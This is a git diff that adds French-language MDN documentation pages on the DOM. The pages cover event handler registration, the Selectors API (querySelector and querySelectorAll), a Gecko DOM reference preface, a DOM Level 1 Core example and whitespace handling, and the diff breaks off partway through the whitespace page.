+<p>Note : Internet Explorer 6-8 ne prend pas en charge cette méthode, il offre une API similaire {{domxref("EventTarget.attachEvent")}} à la place. Pour la compatibilité entre navigateurs, utilisez l'une des nombreuses bibliothèques JavaScript disponibles.</p>
+
+<p>Plus de détails peuvent être trouvés sur la page de référence {{domxref("EventTarget.addEventListener")}}.</p>
+
+<h3 id="HTML_attribute" name="HTML_attribute"><a href="https://developer.mozilla.org/fr/docs/Learn/JavaScript/Building_blocks/Events#Inline_event_handlers_%E2%80%94_don%27t_use_these">attribut HTML</a></h3>
+
+<pre class="brush: html">&lt;button onclick="alert('Hello world!')"&gt;
+</pre>
+
+<p>Le code JavaScript de l'attribut est passé à l'objet évènement par le paramètre <code>event</code>. <a href="http://dev.w3.org/html5/spec/webappapis.html#the-event-handler-processing-algorithm">La valeur renvoyée est traitée d'une façon spéciale décrite dans la spécification HTML</a>.</p>
+
+<p>Ce moyen devrait être évité. Cela rend le balisage plus grand et moins lisible. Les aspects de contenu / structure et comportement ne sont pas bien séparés, rendant un bogue plus difficile à trouver.</p>
+
+<h3 id="DOM_element_properties" name="DOM_element_properties">Propriétés d'un élément DOM</h3>
+
+<pre class="brush: js">// Supposons que myButton est un élément de bouton
+myButton.onclick = function(event){alert('Hello world');};
+</pre>
+
+<p>La fonction peut être définie pour prendre un paramètre d'<code>event</code>. <a href="http://dev.w3.org/html5/spec/webappapis.html#the-event-handler-processing-algorithm">La valeur renvoyée est traitée de façon spéciale décrite dans la spécification HTML</a>.</p>
+
+<p>Le problème avec cette méthode est qu'un seul gestionnaire peut être défini par élément et par évènement.</p>
+
+<h2 id="Accès_aux_interfaces_d'évènements">Accès aux interfaces d'évènements</h2>
+
+<p>Les gestionnaires d'évènements peuvent être attachés à divers objets y compris les éléments DOM, le document, l'<a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Objets_globaux">objet fenêtre</a>, etc. Lorsqu'un évènement se produit, un objet évènement est créé et passé séquentiellement aux écouteurs d'évènements.</p>
+
+<p>L'interface {{domxref("Event")}} est accessible à partir de la fonction gestionnaire, via l'objet événement passé en premier argument. L'exemple simple suivant montre comment un objet d'événement est transmis à la fonction de gestionnaire d'événements et peut être utilisé à partir d'une telle fonction.</p>
+
+<pre class="brush: js">function foo(evt) {
+  // le paramètre evt est automatiquement assigné à l'objet évènement
+  alert(evt);
+}
+table_el.onclick = foo;
+</pre>
+
+<h2 id="Subnav">Subnav</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model">Référence du DOM</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model/Introduction">Introduction au DOM</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model/Les_%C3%A9v%C3%A8nements_et_le_DOM">Les évènements et le DOM</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model/Exemples">Exemples</a></li>
+</ul>
diff --git a/files/fr/web/api/document_object_model/localisation_des_éléments_dom_avec_les_sélecteurs/index.html b/files/fr/web/api/document_object_model/localisation_des_éléments_dom_avec_les_sélecteurs/index.html
new file mode 100644
index 0000000000..aae8808be0
--- /dev/null
+++ b/files/fr/web/api/document_object_model/localisation_des_éléments_dom_avec_les_sélecteurs/index.html
@@ -0,0 +1,55 @@
+---
+title: Localisation des éléments DOM avec les sélecteurs
+slug: >-
+  Web/API/Document_Object_Model/Localisation_des_éléments_DOM_avec_les_sélecteurs
+tags:
+  - API
+  - DOM
+  - Débutant
+  - Elements
+  - Sélecteurs
+translation_of: Web/API/Document_object_model/Locating_DOM_elements_using_selectors
+---
+<div>{{ gecko_minversion_header("1.9.1") }}</div>
+
+<p>L'API Selectors fournit des méthodes simples et rapides pour retrouver les noeuds <a class="internal" href="https://developer.mozilla.org/fr/docs/Web/API/element" title="en-US/docs/DOM/Element"><code>Element</code></a> du DOM par correspondance avec un jeu de sélecteurs. C'est beaucoup plus rapide que les techniques passées, pour lesquelles il était nécessaire, par exemple, d'utiliser une boucle en code JavaScript pour localiser l'élément spécifique que l'on devait trouver.</p>
+
+<h2 id="L'interface_NodeSelector">L'interface NodeSelector</h2>
+
+<p>Cette spécification ajoute deux nouvelles méthodes à tous les objets mettant en oeuvre les interfaces <a class="internal" href="https://developer.mozilla.org/fr/docs/Web/API/document" title="en-US/docs/DOM/Document"><code>Document</code></a>, <a class="internal" href="https://developer.mozilla.org/fr/docs/Web/API/DocumentFragment" title="en-US/docs/DOM/DocumentFragment"><code>DocumentFragment</code></a> ou <a class="internal" href="https://developer.mozilla.org/fr/docs/Web/API/element" title="en-US/docs/DOM/Element"><code>Element</code></a> :</p>
+
+<dl>
+ <dt><code>querySelector</code></dt>
+ <dd>Renvoie le premier noeud <a class="internal" href="https://developer.mozilla.org/fr/docs/Web/API/element" title="en-US/docs/DOM/Element"><code>Element</code></a> correspondant dans la sous-arborescence du noeud. Si aucun noeud correspondant n'est trouvé, <code>null</code> est renvoyé.</dd>
+ <dt><code>querySelectorAll</code></dt>
+ <dd>Renvoie une <a class="internal" href="https://developer.mozilla.org/fr/docs/Web/API/NodeList" title="en-US/docs/DOM/NodeList"><code>NodeList</code></a> (<em>liste de noeuds</em>) contenant tous les noeuds <code>Element</code> correspondants dans la sous-arborescence du noeud, ou une <code>NodeList</code> vide si aucune correspondance n'a été trouvée.</dd>
+</dl>
+
+<div class="note"><strong>Note :</strong> La <code><a class="internal" href="https://developer.mozilla.org/fr/docs/Web/API/NodeList" title="en-US/docs/DOM/NodeList">NodeList</a></code> retournée par <code><a class="internal" href="https://developer.mozilla.org/fr/docs/Web/API/Element/querySelectorAll" title="en-US/docs/DOM/Element.querySelectorAll">querySelectorAll()</a></code> n'est pas directe. À la différence des autres méthodes de requêtes DOM qui retournent une liste de noeuds directe.</div>
+
+<p>Vous pouvez trouver des exemples et des détails en lisant la documentation sur les méthodes <a class="internal" href="https://developer.mozilla.org/fr/docs/Web/API/Element/querySelector" title="en-US/docs/DOM/Element.querySelector"><code>querySelector()</code></a> et <a class="internal" href="https://developer.mozilla.org/fr/docs/Web/API/Element/querySelectorAll" title="en-US/docs/DOM/Element.querySelectorAll"><code>querySelectorAll()</code></a>, ainsi que dans l'article <a class="internal" href="https://developer.mozilla.org/fr/docs/Archive/Add-ons/Code_snippets/QuerySelector" title="en-US/docs/Code snippets/QuerySelector">Extraits de code pour querySelector</a>.</p>
+
+<h2 id="Sélecteurs">Sélecteurs</h2>
+
+<p>Les méthodes de Selector acceptent un ou plusieurs sélecteurs séparés par des virgules pour déterminer les éléments à renvoyer. Par exemple, pour sélectionner tous les éléments paragraphe (<code>p</code>) dans le document dont la classe CSS est soit <code>warning</code> soit <code>note</code>, vous pouvez utiliser ce qui suit :</p>
+
+<pre><code>var special = document.querySelectorAll( "p.warning, p.note" );</code></pre>
+
+<p>Vous pouvez aussi interroger par l'ID (<em>identifiant</em>). Par exemple :</p>
+
+<pre><code>var el = document.querySelector( "#main, #basic, #exclamation" );</code></pre>
+
+<p>Après l'exécution du code ci-dessus, <code>el</code> contient le premier élément dans le document dont l'ID est <code>main</code>, <code>basic</code> ou <code>exclamation</code>.</p>
+
+<p>Vous pouvez utiliser tous les sélecteurs CSS avec les méthodes <code>querySelector()</code> et <code>querySelectorAll()</code>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/selectors-api/" title="http://www.w3.org/TR/selectors-api/">API Selectors</a> (en)</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Element/querySelector" title="en-US/docs/DOM/Element.querySelector"><code>element.querySelector</code></a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Element/querySelectorAll" title="en-US/docs/DOM/element.querySelectorAll"><code>element.querySelectorAll</code></a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Document/querySelector" title="en-US/docs/DOM/document.querySelector"><code>document.querySelector</code></a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Document/querySelectorAll" title="en-US/docs/DOM/document.querySelectorAll"><code>document.querySelectorAll</code></a></li>
+ <li><a href="/en-US/docs/Code_snippets/QuerySelector" title="en-US/docs/Code_snippets/QuerySelector">Extraits de code pour querySelector</a></li>
+</ul>
diff --git a/files/fr/web/api/document_object_model/préface/index.html b/files/fr/web/api/document_object_model/préface/index.html
new file mode 100644
index 0000000000..025bc207a0
--- /dev/null
+++ b/files/fr/web/api/document_object_model/préface/index.html
@@ -0,0 +1,53 @@
+---
+title: Préface
+slug: Web/API/Document_Object_Model/Préface
+tags:
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/Document_Object_Model
+---
+<p>{{ ApiRef() }}</p>
+<h3 id=".C3.80_propos_de_cette_r.C3.A9f.C3.A9rence" name=".C3.80_propos_de_cette_r.C3.A9f.C3.A9rence">À propos de cette référence</h3>
+<p>Cette section décrit le guide lui-même : ceux à qui il est destiné, la manière dont sont présentées les informations, et d'utiliser les exemples de la référence dans vos propres développements avec DOM.</p>
+<p>Notez que ce document est en cours de développement, et n'est pas actuellement une liste exhaustive de toutes les méthodes et propriétés DOM implémentées par Gecko. Chaque section individuelle du document (par exemple la <a href="fr/DOM/document">référence de DOM document</a>) est cependant complète pour les objets décrits. Lorsque des informations de référence pour les nombreux membres de cette énorme API deviennent disponibles, elles sont intégrées dans ce document.</p>
+<h3 id=".C3.80_qui_est_destin.C3.A9_ce_guide" name=".C3.80_qui_est_destin.C3.A9_ce_guide">À qui est destiné ce guide</h3>
+<p>Le lecteur de la <a href="fr/R%c3%a9f%c3%a9rence_du_DOM_Gecko">Référence du DOM Gecko</a> est un développeur Web ou utilisateur confirmé qui a une idée de la façon dont les pages Web sont construites. Cette référence évite de présumer des connaissances préalables du lecteur en ce qui concerne le DOM, <a href="fr/XML">XML</a>, les serveurs et standards du Web, et même en ce qui concerne <a href="fr/JavaScript">JavaScript</a>, le langage dans lequel le DOM est rendu accessible. Cependant, il suppose que vous soyez familiers avec <a href="fr/HTML">HTML</a>, avec son balisage, avec la structure basique des pages Web, avec les navigateurs, et avec les feuilles de style.</p>
+<p>Le contenu introductif présenté ici, avec ses nombreux exemples et ses explications détaillées, s'avèrera utile tant pour les développeurs débutants que pour les développeurs expérimentés dans le domaine du Web. Il n'est pas réservé aux « débutants » et l'on peut le considérer comme un manuel de référence évolutif de l'API.</p>
+<h3 id="Pr.C3.A9sentation_de_Gecko" name="Pr.C3.A9sentation_de_Gecko">Présentation de Gecko</h3>
+<p>Mozilla, Firefox, Netscape 6+, et les autres navigateurs basés sur Mozilla bénéficient de la même implémentation du DOM. En effet, ils utilisent tous la même technologie de base. <span class="comment">naturally, it applies only to products based on the same version of Gecko, but it's tricky to explain</span></p>
+<p>Gecko, le composant logiciel de ces navigateurs qui gère l'analyse du HTML, la mise en page, le modèle objet de document, et même le rendu de toute l'interface de l'application est un moteur rapide et respectant les standards. Il implémente les standards DOM du W3C et un modèle objet de navigateur similaire au DOM, mais non standardisé (par exemple <a href="fr/DOM/window"><code>window</code></a> etc.) dans le contexte des pages Web et de l'interface applicative (ou
+ <i>
+  chrome</i>
+ ) du navigateur.</p>
+<p>Bien que l'interface applicative et le contenu affichés par le navigateur diffèrent en de nombreux points, le DOM les expose uniformément sous la forme d'une hiérarchie de nœuds.</p>
+<h3 id="Syntaxe_de_l.27API" name="Syntaxe_de_l.27API">Syntaxe de l'API</h3>
+<p>Chaque description dans la référence de l'API comprend la syntaxe, les paramètres entrants et sortants (lorsque le type de retour est donné), un exemple, éventuellement quelques remarques supplémentaires, et un lien vers la spécification appropriée.</p>
+<p>Typiquement, les propriétés en lecture seule ont une seule ligne de syntaxe, puisqu'on peut uniquement accéder à propriétés et non les modifier. Par exemple, la syntaxe de la propriété en lecture seule <code>availHeight</code> de l'objet <code>screen</code> est présentée de la manière suivante :</p>
+<pre class="eval"><i>screenObj</i> = window.screen.availHeight;
+</pre>
+<p>Cela signifie qu'il est seulement possible d'utiliser la propriété dans le membre de droite d'une opération. Dans le cas des propriétés modifiables, il est possible d'assigner une valeur à la propriété, et la syntaxe est présentée de la manière suivante :</p>
+<pre class="eval"><i>chaine</i> = window.status;
+window.status =<i>chaine</i>;
+</pre>
+<p>En général, l'objet dont le membre est décrit est donné dans la description de syntaxe avec un type simple, comme <code>element</code> pour tous les éléments, <code>document</code> pour l'objet de document racine, <code>table</code> pour un objet de tableau, etc. Consultez <a href="fr/R%c3%a9f%c3%a9rence_du_DOM_Gecko/Introduction#Types_de_donn.C3.A9es_importants">Types de données importants</a> pour plus d'informations à propos des types de données.</p>
+<h3 id="Utilisation_des_exemples" name="Utilisation_des_exemples">Utilisation des exemples</h3>
+<p>Beaucoup des exemples dans cette référence sont des fichiers complets que vous pouvez exécuter en les copiant et collant vers un nouveau fichier, puis en les ouvrant dans votre navigateur. D'autres sont des petits bouts de code. Vous pouvez les exécuter en les plaçant dans des fonctions callback de JavaScript. Par exemple, la propriété <a href="fr/DOM/window.document">window.document</a> peut être testée au sein d'une fonction comme celle-ci, laquelle est appelée par le bouton assorti :</p>
+<pre>&lt;html&gt;
+
+&lt;script&gt;
+function testWinDoc() {
+
+  doc= window.document;
+
+  alert(doc.title);
+
+}
+&lt;/script&gt;
+
+&lt;button onclick="testWinDoc();"&gt;test de la propriété document&lt;/button&gt;
+
+&lt;/html&gt;
+</pre>
+<p>Des pages et fonctions similaires peuvent être créés pour tous les membres qui ne sont pas déjà décrits d'une façon prête à être utilisée. Consultez la section <a href="fr/R%c3%a9f%c3%a9rence_du_DOM_Gecko/Introduction#Test_de_l.27API_DOM">Test de l'API DOM</a> de l'introduction pour un canevas de test que vous pourrez utiliser pour tester plusieurs API à la fois.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/Gecko_DOM_Reference/Preface", "es": "es/Referencia_DOM_de_Gecko/Prefacio", "ja": "ja/Gecko_DOM_Reference/Preface", "ko": "ko/Gecko_DOM_Reference/Preface", "pl": "pl/Dokumentacja_Gecko_DOM/Przedmowa", "zh-cn": "cn/Gecko_DOM_\u53c2\u8003/Preface" } ) }}</p>
diff --git a/files/fr/web/api/document_object_model/utilisation_du_dom_level_1_core_du_w3c/exemple/index.html b/files/fr/web/api/document_object_model/utilisation_du_dom_level_1_core_du_w3c/exemple/index.html
new file mode 100644
index 0000000000..a9efdf8cdb
--- /dev/null
+++ b/files/fr/web/api/document_object_model/utilisation_du_dom_level_1_core_du_w3c/exemple/index.html
@@ -0,0 +1,44 @@
+---
+title: Exemple
+slug: Web/API/Document_object_model/Utilisation_du_DOM_Level_1_Core_du_W3C/Exemple
+tags:
+  - API
+  - DOM
+  - Débutant
+  - Exemples
+translation_of: Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core/Example
+---
+<p> </p>
+
+<pre> &lt;html&gt;
+ &lt;head&gt;
+   &lt;title&gt;Mon Document&lt;/title&gt;
+   &lt;script type="text/javascript"&gt;
+   function change() {
+     // document.getElementsByTagName("H1") renvoie une NodeList (<em>liste de noeuds</em>) de h1
+     // les éléments dans le document dont le premier a le numéro 0 :
+     var header = document.getElementsByTagName("H1").item(0);
+     // le firstChild (<em>premier enfant</em>) de l'en-tête est un noeud Texte :
+     header.firstChild.data = "Un document dynamique";
+     // maintenant l'en-tête est "Un document dynamique".
+     var para = document.getElementsByTagName("P").item(0);
+     para.firstChild.data = "C'est le premier paragraphe.";
+     // créer un nouveau noeud Texte pour le second paragraphe
+     var newText = document.createTextNode("Ceci est le second paragraphe.");
+     // créer un nouvel Element devant être le second paragraphe
+     var newElement = document.createElement("P");
+     // placer le texte dans le paragraphe
+     newElement.appendChild(newText);
+     // et placer le paragraphe à la fin du document par son ajout
+     // le BODY (<em>corps</em>) (qui est le parent de para)
+     para.parentNode.appendChild(newElement);
+   }
+   &lt;/script&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+   &lt;input type="button" value="Modifier ce document." onclick="change()"&gt;
+   &lt;h1&gt;Header&lt;/h1&gt;
+   &lt;p&gt;Paragraph&lt;/p&gt;
+ &lt;/body&gt;
+ &lt;/head&gt;
+</pre>
diff --git a/files/fr/web/api/document_object_model/utilisation_du_dom_level_1_core_du_w3c/index.html b/files/fr/web/api/document_object_model/utilisation_du_dom_level_1_core_du_w3c/index.html
new file mode 100644
index 0000000000..0f140378e6
--- /dev/null
+++ b/files/fr/web/api/document_object_model/utilisation_du_dom_level_1_core_du_w3c/index.html
@@ -0,0 +1,92 @@
+---
+title: Utilisation du DOM Level 1 Core du W3C
+slug: Web/API/Document_object_model/Utilisation_du_DOM_Level_1_Core_du_W3C
+tags:
+  - Arbre
+  - DOM
+  - Noeud
+  - Texte
+translation_of: Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core
+---
+<p>Le DOM Level 1 Core du W3C est un modèle objet puissant permettant de modifier l'arbre de contenu de documents. Il est géré dans Mozilla (sur lequel Firefox et Netscape sont basés) et (pour la plus grande partie) dans Internet Explorer 5 pour Windows. Il s'agit d'une base essentielle du scripting sur le Web dans l'avenir.</p>
+
+<h2 id="D.C3.A9finition_d.27un_arbre_de_contenu" name="D.C3.A9finition_d.27un_arbre_de_contenu">Définition d'un arbre de contenu</h2>
+
+<p>Beaucoup d'auteurs HTML peuvent penser qu'HTML est quelque chose de plat — un gros amas de texte avec quelques balises au milieu. Cependant, c'est aussi beaucoup plus que ça. Tout document HTML (ou, par ailleurs, tout document SGML ou XML) forme une structure arborescente. Par exemple, le document et la structure arborescente qui suivent sont similaires (bien que non identiques — consultez les notes sur <a href="https://developer.mozilla.org/fr/docs/Gestion_des_espaces_dans_le_DOM">les espaces dans le DOM</a>) :</p>
+
+<pre class="eval">&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;Mon document&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;h1&gt;Titre&lt;/h1&gt;
+  &lt;p&gt;Paragraphe&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><img alt="image:Using_the_W3C_DOM_Level_1_Core-doctree.jpg" class="internal" src="https://developer.mozilla.org/@api/deki/files/415/=Using_the_W3C_DOM_Level_1_Core-doctree.jpg"></p>
+
+<p>Lorsque Mozilla examine un document, un arbre de contenu est construit et ensuite utilisé pour l'affichage.</p>
+
+<p>Les termes utilisés pour décrire des arbres apparaissent souvent dans le DOM Level 1 Core. Chacune des boîtes dessinées dans l'arbre ci-dessus est un nœud dans l'arbre. La ligne au dessus d'un nœud représente une relation parent-enfant : le nœud supérieur est le parent, et le nœud inférieur est l'enfant. Deux enfants du même parent sont par conséquent des frères du même niveau. De même, on peut se référer à des ancêtres et des descendants. (Parler de cousins devient un peu compliqué par contre.)</p>
+
+<h2 id="Ce_que_permet_le_DOM_Level_1_Core" name="Ce_que_permet_le_DOM_Level_1_Core">Ce que permet le DOM Level 1 Core</h2>
+
+<p>Le DOM Level 1 permet de modifier l'arbre du contenu<em>selon vos désirs</em>. Il est suffisamment puissant pour construire n'importe quel document HTML depuis rien. Il permet aux auteurs de modifier quoi que ce soit dans le document, depuis un script, à n'importe quel moment. La manière la plus simple pour les auteurs de pages Web de modifier le DOM dynamiquement est d'utiliser JavaScript. En JavaScript, le document est accessible de la même manière qu'il l'était dans les navigateurs plus anciens : depuis la propriété <code>document</code> de l'objet global. Cet objet <code>document</code> implémente l'<a class="external" href="http://xmlfr.org/w3c/TR/REC-DOM-Level-1/level-one-core.html#i-Document">interface Document</a> de la spécification DOM Level 1 du W3C.</p>
+
+<h2 id="Un_exemple_simple" name="Un_exemple_simple">Un exemple simple</h2>
+
+<p>Supposons que l'auteur désire prendre le document présenté plus haut et changer le contenu du titre, ainsi qu'écrire deux paragraphes plutôt qu'un seul. Le script suivant le permettrait :</p>
+
+<h3 id="Contenu_HTML">Contenu HTML</h3>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Change this document.<span class="punctuation token">"</span></span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>change()<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h2</span><span class="punctuation token">&gt;</span></span>Header<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h2</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Paragraph<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h3 id="Contenu_JavaScript">Contenu JavaScript</h3>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">  <span class="keyword token">function</span> <span class="function token">change</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="comment token">// </span></code><span id="result_box" lang="fr"><span>document.getElementsByTagName ("H2") renvoie un NodeList du</span></span><code class="language-js"><span class="comment token"> &lt;h2&gt;</span>
+    <span class="comment token">// éléments dans le document, et le premier est le nombre 0:</span>
+
+    <span class="keyword token">var</span> header <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementsByTagName</span><span class="punctuation token">(</span><span class="string token">"H2"</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">item</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="comment token">// le firstChild de l'en-tête est un noeud texte::</span>
+    header<span class="punctuation token">.</span>firstChild<span class="punctuation token">.</span>data <span class="operator token">=</span> <span class="string token">"A dynamic document"</span><span class="punctuation token">;</span>
+    <span class="comment token">// maintenant l'en-tête est "Un document dynamique".</span>
+
+    <span class="keyword token">var</span> para <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementsByTagName</span><span class="punctuation token">(</span><span class="string token">"P"</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">item</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    para<span class="punctuation token">.</span>firstChild<span class="punctuation token">.</span>data <span class="operator token">=</span> <span class="string token">"This is the first paragraph."</span><span class="punctuation token">;</span>
+
+    <span class="comment token">// crée un nouveau noeud texte pour le second paragraphe</span>
+    <span class="keyword token">var</span> newText <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createTextNode</span><span class="punctuation token">(</span><span class="string token">"This is the second paragraph."</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="comment token">// crée un nouvel Element pour le second paragraphe</span>
+    <span class="keyword token">var</span> newElement <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">"P"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="comment token">// pose le texte dans le paragraphe</span>
+    newElement<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>newText<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="comment token">// et pose le paragraphe à la fin du document en l'ajoutant</span>
+    <span class="comment token">// au BODY (qui est le parent de para)</span>
+    para<span class="punctuation token">.</span>parentNode<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>newElement<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span></code></pre>
+
+<p>{{ EmbedLiveSample('A_simple_example', 800, 300) }}</p>
+
+<p>Vous pouvez voir ce script dans <a class="external" href="http://www.mozilla.org/docs/dom/technote/intro/example.html">un exemple complet</a>.</p>
+
+<h3 id="Pour_en_savoir_plus" name="Pour_en_savoir_plus">Pour en apprendre plus</h3>
+
+<p>Maintenant que vous êtes familiarisé avec les concepts basiques du DOM, il existe un document expliquant <a href="https://developer.mozilla.org/fr/docs/Explorer_un_tableau_HTML_avec_des_interfaces_DOM_et_JavaScript">les méthodes fondamentales de DOM Level 1</a>. C'est la suite de ce document.</p>
+
+<p>Consultez également la <a class="external" href="http://xmlfr.org/w3c/TR/REC-DOM-Level-1/level-one-core.html">spécification DOM Level 1 Core</a> du W3C (traduction en français non normative). C'est une spécification relativement claire, même si elle est un peu formelle. Ce qui est surtout intéressant pour les auteurs, c'est la description des différents objets DOM et de toutes leurs propriétés et méthodes. Voyez encore notre <a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model">documentation complète sur le DOM</a>.</p>
+
+<div class="originaldocinfo">
+<p><strong>Informations sur le document original</strong></p>
+
+<ul>
+ <li>Auteur(s) : L. David Baron &lt;dbaron at dbaron dot org&gt;</li>
+ <li>Copyright : © 1998-2005 par des contributeurs individuels à mozilla.org ; le contenu est disponible sous une <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">licence Creative Commons</a></li>
+</ul>
+</div>
diff --git a/files/fr/web/api/document_object_model/whitespace/index.html b/files/fr/web/api/document_object_model/whitespace/index.html
new file mode 100644
index 0000000000..d13a541dc7
--- /dev/null
+++ b/files/fr/web/api/document_object_model/whitespace/index.html
@@ -0,0 +1,232 @@
+---
+title: Gestion des espaces dans le DOM
+slug: Web/API/Document_Object_Model/Whitespace
+tags:
+  - DOM
+translation_of: Web/API/Document_Object_Model/Whitespace
+---
+<h2 id="Le_probl.C3.A8me" name="Le_probl.C3.A8me">Le problème</h2>
+
+<p>La présence d'espaces et de blancs dans le <a href="fr/DOM">DOM</a> peut rendre la manipulation de l'arbre de contenu difficile dans des aspects qu'on ne prévoit pas forcément. Dans Mozilla, tous les espaces et blancs dans le contenu texte du document original sont représentés dans le DOM (cela ne concerne pas les blancs à l'intérieur des balises). (C'est nécessaire en interne afin que l'éditeur puisse conserver le formatage des documents et que l'instruction <code>white-space: pre</code> en <a href="fr/CSS">CSS</a> fonctionne.) Cela signifie que :</p>
+
+<ul>
+ <li>il y aura certains nœuds texte qui ne contiendront que du vide, et</li>
+ <li>certains nœuds texte commenceront ou se termineront par des blancs.</li>
+</ul>
+
+<p>En d'autres termes, l'arbre DOM pour le document qui suit ressemblera à l'image ci-dessous (où « \n » représente un retour à la ligne) :</p>
+
+<pre class="eval">&lt;!-- My document --&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;My Document&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;h1&gt;Header&lt;/h1&gt;
+  &lt;p&gt;
+    Paragraph
+  &lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><img src="https://mdn.mozillademos.org/files/854/whitespace_tree.png" style="height: 306px; width: 618px;"></p>
+
+<p>Ceci peut rendre les choses un peu plus difficiles pour les utilisateurs du DOM qui aimeraient parcourir le contenu, sans se préoccuper des blancs.</p>
+
+<h2 id="Rendre_les_choses_plus_faciles" name="Rendre_les_choses_plus_faciles">Rendre les choses plus faciles</h2>
+
+<p><span id="result_box" lang="fr"><span>On peut formater leur code comme indiqué ci-dessous pour contourner le problème:</span></span></p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="comment token">&lt;!-- jolie impression conventionnelle
+     avec des espaces entre les balises:
+ --&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>ul</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>li</span><span class="punctuation token">&gt;</span></span>Position 1<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>li</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>li</span><span class="punctuation token">&gt;</span></span>Position 2<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>li</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>li</span><span class="punctuation token">&gt;</span></span>Position 3<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>li</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>ul</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+
+<span class="comment token">&lt;!-- jolie impression adaptée au problème :
+ --&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span>
+ <span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>ul</span>
+  <span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>li</span><span class="punctuation token">&gt;</span></span>Position 1<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>li</span>
+  <span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>li</span><span class="punctuation token">&gt;</span></span>Position 2<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>li</span>
